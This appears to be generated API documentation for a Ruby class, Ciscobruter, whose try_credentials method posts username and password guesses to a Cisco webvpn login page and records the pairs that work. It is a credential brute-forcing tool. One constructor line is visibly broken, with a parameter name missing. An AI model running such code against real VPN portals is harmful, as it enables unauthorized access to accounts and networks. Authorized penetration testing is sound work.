Class: Ciscobruter

Inherits:
Object
  • Object
show all
Defined in:
lib/ciscobruter.rb

Instance Attribute Summary collapse

Instance Method Summary collapse

Constructor Details

#initialize(target, verbose = nil, login = nil, group = nil) ⇒ Ciscobruter

Returns a new instance of Ciscobruter.



43
44
45
46
47
48
49
50
# File 'lib/ciscobruter.rb', line 43

def initialize(target, verbose=nil, =nil, group=nil)
	self.uri = URI.parse(target)
	self.path = set_path()
	self.group = group
	self.http = setup_http
	self.headers = { 'Cookie' => 'webvpnlogin=1; webvpnLang=en' }
	self.verbose = verbose
end

Instance Attribute Details

#groupObject

Returns the value of attribute group.



41
42
43
# File 'lib/ciscobruter.rb', line 41

def group
  @group
end

#headersObject

Returns the value of attribute headers.



41
42
43
# File 'lib/ciscobruter.rb', line 41

def headers
  @headers
end

#httpObject

Returns the value of attribute http.



41
42
43
# File 'lib/ciscobruter.rb', line 41

def http
  @http
end

#pathObject

Returns the value of attribute path.



41
42
43
# File 'lib/ciscobruter.rb', line 41

def path
  @path
end

#uriObject

Returns the value of attribute uri.



41
42
43
# File 'lib/ciscobruter.rb', line 41

def uri
  @uri
end

#verboseObject

Returns the value of attribute verbose.



41
42
43
# File 'lib/ciscobruter.rb', line 41

def verbose
  @verbose
end

Instance Method Details

#try_credentials(username, password) ⇒ Object



52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
# File 'lib/ciscobruter.rb', line 52

def try_credentials(username, password)
	info "Trying username: #{username} and password: #{password} on #{uri.host}" if verbose
	post = "username=#{username}&password=#{password}"

	if group != nil
		post += "&group_list=#{group}"
	end

	response = http.post(path, post, headers)
	if response.code == "200"
		if validate_credentials(response.body)
			report_creds(username, password)
		end
	elsif response.code == "302"
		warn "Error. #{path} not valid."
	end
	return
end